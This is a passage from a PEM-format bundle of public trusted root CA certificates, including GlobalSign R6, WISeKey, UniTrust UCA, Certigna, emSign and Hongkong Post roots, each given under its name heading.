BAAiA2IABKoSR5CYG/vvw0AHgyBO8TCCogbR8pKGYfL2IWjKAMTH6kMAVIbc/R/fALhBYlzccBYy
3h+Z1MzFB8gIH2EWB1E9fVwHU+M1OIzfzZ/ZLg1KthkuWnBaBu2+8KGwytAJKaNjMGEwHQYDVR0O
BBYEFFvKXuXe0oGqzagtZFG22XKbl+ZPMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUW8pe
5d7SgarNqC1kUbbZcpuX5k8wDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMCA2gAMGUCMQCK5kCJ
N+vp1RPZytRrJPOwPYdGWBrssd9v+1a6cGvHOMzosYxPD/fxZ3YOg9AeUY8CMD32IygmTMZgh5Mm
m7I1HrrW9zzRHM76JTymGoEVW/MSD2zuZYrJh6j5B+BimoxcSg==
-----END CERTIFICATE-----

GlobalSign Root CA - R6
=======================
-----BEGIN CERTIFICATE-----
MIIFgzCCA2ugAwIBAgIORea7A4Mzw4VlSOb/RVEwDQYJKoZIhvcNAQEMBQAwTDEgMB4GA1UECxMX
R2xvYmFsU2lnbiBSb290IENBIC0gUjYxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkds
b2JhbFNpZ24wHhcNMTQxMjEwMDAwMDAwWhcNMzQxMjEwMDAwMDAwWjBMMSAwHgYDVQQLExdHbG9i
YWxTaWduIFJvb3QgQ0EgLSBSNjETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFs
U2lnbjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJUH6HPKZvnsFMp7PPcNCPG0RQss
grRIxutbPK6DuEGSMxSkb3/pKszGsIhrxbaJ0cay/xTOURQh7ErdG1rG1ofuTToVBu1kZguSgMpE
3nOUTvOniX9PeGMIyBJQbUJmL025eShNUhqKGoC3GYEOfsSKvGRMIRxDaNc9PIrFsmbVkJq3MQbF
vuJtMgamHvm566qjuL++gmNQ0PAYid/kD3n16qIfKtJwLnvnvJO7bVPiSHyMEAc4/2ayd2F+4OqM
PKq0pPbzlUoSB239jLKJz9CgYXfIWHSw1CM69106yqLbnQneXUQtkPGBzVeS+n68UARjNN9rkxi+
azayOeSsJDa38O+2HBNXk7besvjihbdzorg1qkXy4J02oW9UivFyVm4uiMVRQkQVlO6jxTiWm05O
WgtH8wY2SXcwvHE35absIQh1/OZhFj931dmRl4QKbNQCTXTAFO39OfuD8l4UoQSwC+n+7o/hbguy
CLNhZglqsQY6ZZZZwPA1/cnaKI0aEYdwgQqomnUdnjqGBQCe24DWJfncBZ4nWUx2OVvq+aWh2IMP
0f/fMBH5hc8zSPXKbWQULHpYT9NLCEnFlWQaYw55PfWzjMpYrZxCRXluDocZXFSxZba/jJvcE+kN
b7gu3GduyYsRtYQUigAZcIN5kZeR1BonvzceMgfYFGM8KEyvAgMBAAGjYzBhMA4GA1UdDwEB/wQE
AwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSubAWjkxPioufi1xzWx/B/yGdToDAfBgNV
HSMEGDAWgBSubAWjkxPioufi1xzWx/B/yGdToDANBgkqhkiG9w0BAQwFAAOCAgEAgyXt6NH9lVLN
nsAEoJFp5lzQhN7craJP6Ed41mWYqVuoPId8AorRbrcWc+ZfwFSY1XS+wc3iEZGtIxg93eFyRJa0
lV7Ae46ZeBZDE1ZXs6KzO7V33EByrKPrmzU+sQghoefEQzd5Mr6155wsTLxDKZmOMNOsIeDjHfrY
BzN2VAAiKrlNIC5waNrlU/yDXNOd8v9EDERm8tLjvUYAGm0CuiVdjaExUd1URhxN25mW7xocBFym
Fe944Hn+Xds+qkxV/ZoVqW/hpvvfcDDpw+5CRu3CkwWJ+n1jez/QcYF8AOiYrg54NMMl+68KnyBr
3TsTjxKM4kEaSHpzoHdpx7Zcf4LIHv5YGygrqGytXm3ABdJ7t+uA/iU3/gKbaKxCXcPu9czc8FB1
0jZpnOZ7BN9uBmm23goJSFmH63sUYHpkqmlD75HHTOwY3WzvUy2MmeFe8nI+z1TIvWfspA9MRf/T
uTAjB0yPEL+GltmZWrSZVxykzLsViVO6LAUP5MSeGbEYNNVMnbrt9x+vJJUEeKgDu+6B5dpffItK
oZB0JaezPkvILFa9x8jvOOJckvB595yEunQtYQEgfn7R8k8HWV+LLUNS60YMlOH1Zkd5d9VUWx+t
JDfLRVpOoERIyNiwmcUVhAn21klJwGW45hpxbqCo8YLoRT5s1gLXCmeDBVrJpBA=
-----END CERTIFICATE-----

OISTE WISeKey Global Root GC CA
===============================
-----BEGIN CERTIFICATE-----
MIICaTCCAe+gAwIBAgIQISpWDK7aDKtARb8roi066jAKBggqhkjOPQQDAzBtMQswCQYDVQQGEwJD
SDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNlZDEo
MCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9iYWwgUm9vdCBHQyBDQTAeFw0xNzA1MDkwOTQ4MzRa
Fw00MjA1MDkwOTU4MzNaMG0xCzAJBgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYDVQQL
ExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEdsb2Jh
bCBSb290IEdDIENBMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAETOlQwMYPchi82PG6s4nieUqjFqdr
VCTbUf/q9Akkwwsin8tqJ4KBDdLArzHkdIJuyiXZjHWd8dvQmqJLIX4Wp2OQ0jnUsYd4XxiWD1Ab
NTcPasbc2RNNpI6QN+a9WzGRo1QwUjAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAd
BgNVHQ4EFgQUSIcUrOPDnpBgOtfKie7TrYy0UGYwEAYJKwYBBAGCNxUBBAMCAQAwCgYIKoZIzj0E
AwMDaAAwZQIwJsdpW9zV57LnyAyMjMPdeYwbY9XJUpROTYJKcx6ygISpJcBMWm1JKWB4E+J+SOtk
AjEA2zQgMgj/mkkCtojeFK9dbJlxjRo/i9fgojaGHAeCOnZT/cKi7e97sIBPWA9LUzm9
-----END CERTIFICATE-----

UCA Global G2 Root
==================
-----BEGIN CERTIFICATE-----
MIIFRjCCAy6gAwIBAgIQXd+x2lqj7V2+WmUgZQOQ7zANBgkqhkiG9w0BAQsFADA9MQswCQYDVQQG
EwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxGzAZBgNVBAMMElVDQSBHbG9iYWwgRzIgUm9vdDAeFw0x
NjAzMTEwMDAwMDBaFw00MDEyMzEwMDAwMDBaMD0xCzAJBgNVBAYTAkNOMREwDwYDVQQKDAhVbmlU
cnVzdDEbMBkGA1UEAwwSVUNBIEdsb2JhbCBHMiBSb290MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A
MIICCgKCAgEAxeYrb3zvJgUno4Ek2m/LAfmZmqkywiKHYUGRO8vDaBsGxUypK8FnFyIdK+35KYmT
oni9kmugow2ifsqTs6bRjDXVdfkX9s9FxeV67HeToI8jrg4aA3++1NDtLnurRiNb/yzmVHqUwCoV
8MmNsHo7JOHXaOIxPAYzRrZUEaalLyJUKlgNAQLx+hVRZ2zA+te2G3/RVogvGjqNO7uCEeBHANBS
h6v7hn4PJGtAnTRnvI3HLYZveT6OqTwXS3+wmeOwcWDcC/Vkw85DvG1xudLeJ1uK6NjGruFZfc8o
LTW4lVYa8bJYS7cSN8h8s+1LgOGN+jIjtm+3SJUIsUROhYw6AlQgL9+/V087OpAh18EmNVQg7Mc/
R+zvWr9LesGtOxdQXGLYD0tK3Cv6brxzks3sx1DoQZbXqX5t2Okdj4q1uViSukqSKwxW/YDrCPBe
KW4bHAyvj5OJrdu9o54hyokZ7N+1wxrrFv54NkzWbtA+FxyQF2smuvt6L78RHBgOLXMDj6DlNaBa
4kx1HXHhOThTeEDMg5PXCp6dW4+K5OXgSORIskfNTip1KnvyIvbJvgmRlld6iIis7nCs+dwp4wwc
OxJORNanTrAmyPPZGpeRaOrvjUYG0lZFWJo8DA+DuAUlwznPO6Q0ibd5Ei9Hxeepl2n8pndntd97
8XplFeRhVmUCAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0O
BBYEFIHEjMz15DD/pQwIX4wVZyF0Ad/fMA0GCSqGSIb3DQEBCwUAA4ICAQATZSL1jiutROTL/7lo
5sOASD0Ee/ojL3rtNtqyzm325p7lX1iPyzcyochltq44PTUbPrw7tgTQvPlJ9Zv3hcU2tsu8+Mg5
1eRfB70VVJd0ysrtT7q6ZHafgbiERUlMjW+i67HM0cOU2kTC5uLqGOiiHycFutfl1qnN3e92mI0A
Ds0b+gO3joBYDic/UvuUospeZcnWhNq5NXHzJsBPd+aBJ9J3O5oUb3n09tDh05S60FdRvScFDcH9
yBIw7m+NESsIndTUv4BFFJqIRNow6rSn4+7vW4LVPtateJLbXDzz2K36uGt/xDYotgIVilQsnLAX
c47QN6MUPJiVAAwpBVueSUmxX8fjy88nZY41F7dXyDDZQVu5FLbowg+UMaeUmMxq67XhJ/UQqAHo
jhJi6IjMtX9Gl8CbEGY4GjZGXyJoPd/JxhMnq1MGrKI8hgZlb7F+sSlEmqO6SWkoaY/X5V+tBIZk
bxqgDMUIYs6Ao9Dz7GjevjPHF1t/gMRMTLGmhIrDO7gJzRSBuhjjVFc2/tsvfEehOjPI+Vg7RE+x
ygKJBJYoaMVLuCaJu9YzL1DV/pqJuhgyklTGW+Cd+V7lDSKb9triyCGyYiGqhkCyLmTTX8jjfhFn
RR8F/uOi77Oos/N9j/gMHyIfLXC0uAE0djAA5SN4p1bXUB+K+wb1whnw0A==
-----END CERTIFICATE-----

UCA Extended Validation Root
============================
-----BEGIN CERTIFICATE-----
MIIFWjCCA0KgAwIBAgIQT9Irj/VkyDOeTzRYZiNwYDANBgkqhkiG9w0BAQsFADBHMQswCQYDVQQG
EwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxJTAjBgNVBAMMHFVDQSBFeHRlbmRlZCBWYWxpZGF0aW9u
IFJvb3QwHhcNMTUwMzEzMDAwMDAwWhcNMzgxMjMxMDAwMDAwWjBHMQswCQYDVQQGEwJDTjERMA8G
A1UECgwIVW5pVHJ1c3QxJTAjBgNVBAMMHFVDQSBFeHRlbmRlZCBWYWxpZGF0aW9uIFJvb3QwggIi
MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCpCQcoEwKwmeBkqh5DFnpzsZGgdT6o+uM4AHrs
iWogD4vFsJszA1qGxliG1cGFu0/GnEBNyr7uaZa4rYEwmnySBesFK5pI0Lh2PpbIILvSsPGP2KxF
Rv+qZ2C0d35qHzwaUnoEPQc8hQ2E0B92CvdqFN9y4zR8V05WAT558aopO2z6+I9tTcg1367r3CTu
eUWnhbYFiN6IXSV8l2RnCdm/WhUFhvMJHuxYMjMR83dksHYf5BA1FxvyDrFspCqjc/wJHx4yGVMR
59mzLC52LqGj3n5qiAno8geK+LLNEOfic0CTuwjRP+H8C5SzJe98ptfRr5//lpr1kXuYC3fUfugH
0mK1lTnj8/FtDw5lhIpjVMWAtuCeS31HJqcBCF3RiJ7XwzJE+oJKCmhUfzhTA8ykADNkUVkLo4KR
el7sFsLzKuZi2irbWWIQJUoqgQtHB0MGcIfS+pMRKXpITeuUx3BNr2fVUbGAIAEBtHoIppB/TuDv
B0GHr2qlXov7z1CymlSvw4m6WC31MJixNnI5fkkE/SmnTHnkBVfblLkWU41Gsx2VYVdWf6/wFlth
WG82UBEL2KwrlRYaDh8IzTY0ZRBiZtWAXxQgXy0MoHgKaNYs1+lvK9JKBZP8nm9rZ/+I8U6laUpS
NwXqxhaN0sSZ0YIrO7o1dfdRUVjzyAfd5LQDfwIDAQABo0IwQDAdBgNVHQ4EFgQU2XQ65DA9DfcS
3H5aBZ8eNJr34RQwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAYYwDQYJKoZIhvcNAQEL
BQADggIBADaNl8xCFWQpN5smLNb7rhVpLGsaGvdftvkHTFnq88nIua7Mui563MD1sC3AO6+fcAUR
ap8lTwEpcOPlDOHqWnzcSbvBHiqB9RZLcpHIojG5qtr8nR/zXUACE/xOHAbKsxSQVBcZEhrxH9cM
aVr2cXj0lH2RC47skFSOvG+hTKv8dGT9cZr4QQehzZHkPJrgmzI5c6sq1WnIeJEmMX3ixzDx/BR4
dxIOE/TdFpS/S2d7cFOFyrC78zhNLJA5wA3CXWvp4uXViI3WLL+rG761KIcSF3Ru/H38j9CHJrAb
+7lsq+KePRXBOy5nAliRn+/4Qh8st2j1da3Ptfb/EX3C8CSlrdP6oDyp+l3cpaDvRKS+1ujl5BOW
F3sGPjLtx7dCvHaj2GU4Kzg1USEODm8uNBNA4StnDG1KQTAYI1oyVZnJF+A83vbsea0rWBmirSwi
GpWOvpaQXUJXxPkUAzUrHC1RVwinOt4/5Mi0A3PCwSaAuwtCH60NryZy2sy+s6ODWA2CxR9GUeOc
GMyNm43sSet1UNWMKFnKdDTajAshqx7qG+XH/RU+wBeq+yNuJkbL+vmxcmtpzyKEC2IPrNkZAJSi
djzULZrtBJ4tBmIQN1IchXIbJ+XMxjHsN+xjWZsLHXbMfjKaiJUINlK73nZfdklJrX+9ZSCyycEr
dhh2n1ax
-----END CERTIFICATE-----

Certigna Root CA
================
-----BEGIN CERTIFICATE-----
MIIGWzCCBEOgAwIBAgIRAMrpG4nxVQMNo+ZBbcTjpuEwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UE
BhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczEcMBoGA1UECwwTMDAwMiA0ODE0NjMwODEwMDAzNjEZ
MBcGA1UEAwwQQ2VydGlnbmEgUm9vdCBDQTAeFw0xMzEwMDEwODMyMjdaFw0zMzEwMDEwODMyMjda
MFoxCzAJBgNVBAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxHDAaBgNVBAsMEzAwMDIgNDgxNDYz
MDgxMDAwMzYxGTAXBgNVBAMMEENlcnRpZ25hIFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4IC
DwAwggIKAoICAQDNGDllGlmx6mQWDoyUJJV8g9PFOSbcDO8WV43X2KyjQn+Cyu3NW9sOty3tRQgX
stmzy9YXUnIo245Onoq2C/mehJpNdt4iKVzSs9IGPjA5qXSjklYcoW9MCiBtnyN6tMbaLOQdLNyz
KNAT8kxOAkmhVECe5uUFoC2EyP+YbNDrihqECB63aCPuI9Vwzm1RaRDuoXrC0SIxwoKF0vJVdlB8
JXrJhFwLrN1CTivngqIkicuQstDuI7pmTLtipPlTWmR7fJj6o0ieD5Wupxj0auwuA0Wv8HT4Ks16
XdG+RCYyKfHx9WzMfgIhC59vpD++nVPiz32pLHxYGpfhPTc3GGYo0kDFUYqMwy3OU4gkWGQwFsWq
4NYKpkDfePb1BHxpE4S80dGnBs8B92jAqFe7OmGtBIyT46388NtEbVncSVmurJqZNjBBe3YzIoej
wpKGbvlw7q6Hh5UbxHq9MfPU0uWZ/75I7HX1eBYdpnDBfzwboZL7z8g81sWTCo/1VTp2lc5ZmIoJ
lXcymoO6LAQ6l73UL77XbJuiyn1tJslV1c/DeVIICZkHJC1kJWumIWmbat10TWuXekG9qxf5kBdI
jzb5LdXF2+6qhUVB+s06RbFo5jZMm5BX7CO5hwjCxAnxl4YqKE3idMDaxIzb3+KhF1nOJFl0Mdp/
/TBt2dzhauH8XwIDAQABo4IBGjCCARYwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYw
HQYDVR0OBBYEFBiHVuBud+4kNTxOc5of1uHieX4rMB8GA1UdIwQYMBaAFBiHVuBud+4kNTxOc5of
1uHieX4rMEQGA1UdIAQ9MDswOQYEVR0gADAxMC8GCCsGAQUFBwIBFiNodHRwczovL3d3d3cuY2Vy
dGlnbmEuZnIvYXV0b3JpdGVzLzBtBgNVHR8EZjBkMC+gLaArhilodHRwOi8vY3JsLmNlcnRpZ25h
LmZyL2NlcnRpZ25hcm9vdGNhLmNybDAxoC+gLYYraHR0cDovL2NybC5kaGlteW90aXMuY29tL2Nl
cnRpZ25hcm9vdGNhLmNybDANBgkqhkiG9w0BAQsFAAOCAgEAlLieT/DjlQgi581oQfccVdV8AOIt
OoldaDgvUSILSo3L6btdPrtcPbEo/uRTVRPPoZAbAh1fZkYJMyjhDSSXcNMQH+pkV5a7XdrnxIxP
TGRGHVyH41neQtGbqH6mid2PHMkwgu07nM3A6RngatgCdTer9zQoKJHyBApPNeNgJgH60BGM+RFq
7q89w1DTj18zeTyGqHNFkIwgtnJzFyO+B2XleJINugHA64wcZr+shncBlA2c5uk5jR+mUYyZDDl3
4bSb+hxnV29qao6pK0xXeXpXIs/NX2NGjVxZOob4Mkdio2cNGJHc+6Zr9UhhcyNZjgKnvETq9Emd
8VRY+WCv2hikLyhF3HqgiIZd8zvn/yk1gPxkQ5Tm4xxvvq0OKmOZK8l+hfZx6AYDlf7ej0gcWtSS
6Cvu5zHbugRqh5jnxV/vfaci9wHYTfmJ0A6aBVmknpjZbyvKcL5kwlWj9Omvw5Ip3IgWJJk8jSaY
tlu3zM63Nwf9JtmYhST/WSMDmu2dnajkXjjO11INb9I/bbEFa0nOipFGc/T2L/Coc3cOZayhjWZS
aX5LaAzHHjcng6WMxwLkFM1JAbBzs/3GkDpv0mztO+7skb6iQ12LAEpmJURw3kAP+HwV96LOPNde
E4yBFxgX0b3xdxA61GU5wSesVywlVP+i2k+KYTlerj1KjL0=
-----END CERTIFICATE-----

emSign Root CA - G1
===================
-----BEGIN CERTIFICATE-----
MIIDlDCCAnygAwIBAgIKMfXkYgxsWO3W2DANBgkqhkiG9w0BAQsFADBnMQswCQYDVQQGEwJJTjET
MBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNobm9sb2dpZXMgTGltaXRl
ZDEcMBoGA1UEAxMTZW1TaWduIFJvb3QgQ0EgLSBHMTAeFw0xODAyMTgxODMwMDBaFw00MzAyMTgx
ODMwMDBaMGcxCzAJBgNVBAYTAklOMRMwEQYDVQQLEwplbVNpZ24gUEtJMSUwIwYDVQQKExxlTXVk
aHJhIFRlY2hub2xvZ2llcyBMaW1pdGVkMRwwGgYDVQQDExNlbVNpZ24gUm9vdCBDQSAtIEcxMIIB
IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAk0u76WaK7p1b1TST0Bsew+eeuGQzf2N4aLTN
LnF115sgxk0pvLZoYIr3IZpWNVrzdr3YzZr/k1ZLpVkGoZM0Kd0WNHVO8oG0x5ZOrRkVUkr+PHB1
cM2vK6sVmjM8qrOLqs1D/fXqcP/tzxE7lM5OMhbTI0Aqd7OvPAEsbO2ZLIvZTmmYsvePQbAyeGHW
DV/D+qJAkh1cF+ZwPjXnorfCYuKrpDhMtTk1b+oDafo6VGiFbdbyL0NVHpENDtjVaqSW0RM8LHhQ
6DqS0hdW5TUaQBw+jSztOd9C4INBdN+jzcKGYEho42kLVACL5HZpIQ15TjQIXhTCzLG3rdd8cIrH
hQIDAQABo0IwQDAdBgNVHQ4EFgQU++8Nhp6w492pufEhF38+/PB3KxowDgYDVR0PAQH/BAQDAgEG
MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAFn/8oz1h31xPaOfG1vR2vjTnGs2
vZupYeveFix0PZ7mddrXuqe8QhfnPZHr5X3dPpzxz5KsbEjMwiI/aTvFthUvozXGaCocV685743Q
NcMYDHsAVhzNixl03r4PEuDQqqE/AjSxcM6dGNYIAwlG7mDgfrbESQRRfXBgvKqy/3lyeqYdPV8q
+Mri/Tm3R7nrft8EI6/6nAYH6ftjk4BAtcZsCjEozgyfz7MjNYBBjWzEN3uBL4ChQEKF6dk4jeih
U80Bv2noWgbyRQuQ+q7hv53yrlc8pa6yVvSLZUDp/TGBLPQ5Cdjua6e0ph0VpZj3AYHYhX3zUVxx
iN66zB+Afko=
-----END CERTIFICATE-----

emSign ECC Root CA - G3
=======================
-----BEGIN CERTIFICATE-----
MIICTjCCAdOgAwIBAgIKPPYHqWhwDtqLhDAKBggqhkjOPQQDAzBrMQswCQYDVQQGEwJJTjETMBEG
A1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNobm9sb2dpZXMgTGltaXRlZDEg
MB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0gRzMwHhcNMTgwMjE4MTgzMDAwWhcNNDMwMjE4
MTgzMDAwWjBrMQswCQYDVQQGEwJJTjETMBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11
ZGhyYSBUZWNobm9sb2dpZXMgTGltaXRlZDEgMB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0g
RzMwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQjpQy4LRL1KPOxst3iAhKAnjlfSU2fySU0WXTsuwYc
58Byr+iuL+FBVIcUqEqy6HyC5ltqtdyzdc6LBtCGI79G1Y4PPwT01xySfvalY8L1X44uT6EYGQIr
MgqCZH0Wk9GjQjBAMB0GA1UdDgQWBBR8XQKEE9TMipuBzhccLikenEhjQjAOBgNVHQ8BAf8EBAMC
AQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNpADBmAjEAvvNhzwIQHWSVB7gYboiFBS+D
CBeQyh+KTOgNG3qxrdWBCUfvO6wIBHxcmbHtRwfSAjEAnbpV/KlK6O3t5nYBQnvI+GDZjVGLVTv7
jHvrZQnD+JbNR6iC8hZVdyR+EhCVBCyj
-----END CERTIFICATE-----

emSign Root CA - C1
===================
-----BEGIN CERTIFICATE-----
MIIDczCCAlugAwIBAgILAK7PALrEzzL4Q7IwDQYJKoZIhvcNAQELBQAwVjELMAkGA1UEBhMCVVMx
EzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMRwwGgYDVQQDExNlbVNp
Z24gUm9vdCBDQSAtIEMxMB4XDTE4MDIxODE4MzAwMFoXDTQzMDIxODE4MzAwMFowVjELMAkGA1UE
BhMCVVMxEzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMRwwGgYDVQQD
ExNlbVNpZ24gUm9vdCBDQSAtIEMxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz+up
ufGZBczYKCFK83M0UYRWEPWgTywS4/oTmifQz/l5GnRfHXk5/Fv4cI7gklL35CX5VIPZHdPIWoU/
Xse2B+4+wM6ar6xWQio5JXDWv7V7Nq2s9nPczdcdioOl+yuQFTdrHCZH3DspVpNqs8FqOp099cGX
OFgFixwR4+S0uF2FHYP+eF8LRWgYSKVGczQ7/g/IdrvHGPMF0Ybzhe3nudkyrVWIzqa2kbBPrH4V
I5b2P/AgNBbeCsbEBEV5f6f9vtKppa+cxSMq9zwhbL2vj07FOrLzNBL834AaSaTUqZX3noleooms
lMuoaJuvimUnzYnu3Yy1aylwQ6BpC+S5DwIDAQABo0IwQDAdBgNVHQ4EFgQU/qHgcB4qAzlSWkK+
XJGFehiqTbUwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQAD
ggEBAMJKVvoVIXsoounlHfv4LcQ5lkFMOycsxGwYFYDGrK9HWS8mC+M2sO87/kOXSTKZEhVb3xEp
/6tT+LvBeA+snFOvV71ojD1pM/CjoCNjO2RnIkSt1XHLVip4kqNPEjE2NuLe/gDEo2APJ62gsIq1
NnpSob0n9CAnYuhNlCQT5AoE6TyrLshDCUrGYQTlSTR+08TI9Q/Aqum6VF7zYytPT1DU/rl7mYw9
wC68AivTxEDkigcxHpvOJpkT+xHqmiIMERnHXhuBUDDIlhJu58tBf5E7oke3VIAb3ADMmpDqw8NQ
BmIMMMAVSKeoWXzhriKi4gp6D/piq1JM4fHfyr6DDUI=
-----END CERTIFICATE-----

emSign ECC Root CA - C3
=======================
-----BEGIN CERTIFICATE-----
MIICKzCCAbGgAwIBAgIKe3G2gla4EnycqDAKBggqhkjOPQQDAzBaMQswCQYDVQQGEwJVUzETMBEG
A1UECxMKZW1TaWduIFBLSTEUMBIGA1UEChMLZU11ZGhyYSBJbmMxIDAeBgNVBAMTF2VtU2lnbiBF
Q0MgUm9vdCBDQSAtIEMzMB4XDTE4MDIxODE4MzAwMFoXDTQzMDIxODE4MzAwMFowWjELMAkGA1UE
BhMCVVMxEzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMSAwHgYDVQQD
ExdlbVNpZ24gRUNDIFJvb3QgQ0EgLSBDMzB2MBAGByqGSM49AgEGBSuBBAAiA2IABP2lYa57JhAd
6bciMK4G9IGzsUJxlTm801Ljr6/58pc1kjZGDoeVjbk5Wum739D+yAdBPLtVb4OjavtisIGJAnB9
SMVK4+kiVCJNk7tCDK93nCOmfddhEc5lx/h//vXyqaNCMEAwHQYDVR0OBBYEFPtaSNCAIEDyqOkA
B2kZd6fmw/TPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MAoGCCqGSM49BAMDA2gA
MGUCMQC02C8Cif22TGK6Q04ThHK1rt0c3ta13FaPWEBaLd4gTCKDypOofu4SQMfWh0/434UCMBwU
ZOR8loMRnLDRWmFLpg9J0wD8ofzkpf9/rdcw0Md3f76BB1UwUCAU9Vc4CqgxUQ==
-----END CERTIFICATE-----

Hongkong Post Root CA 3
=======================
-----BEGIN CERTIFICATE-----
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
dBb9HxEGmpv0
-----END CERTIFICATE-----

Microsoft ECC Root Certificate Authority 2017
=============================================
-----BEGIN CERTIFICATE-----
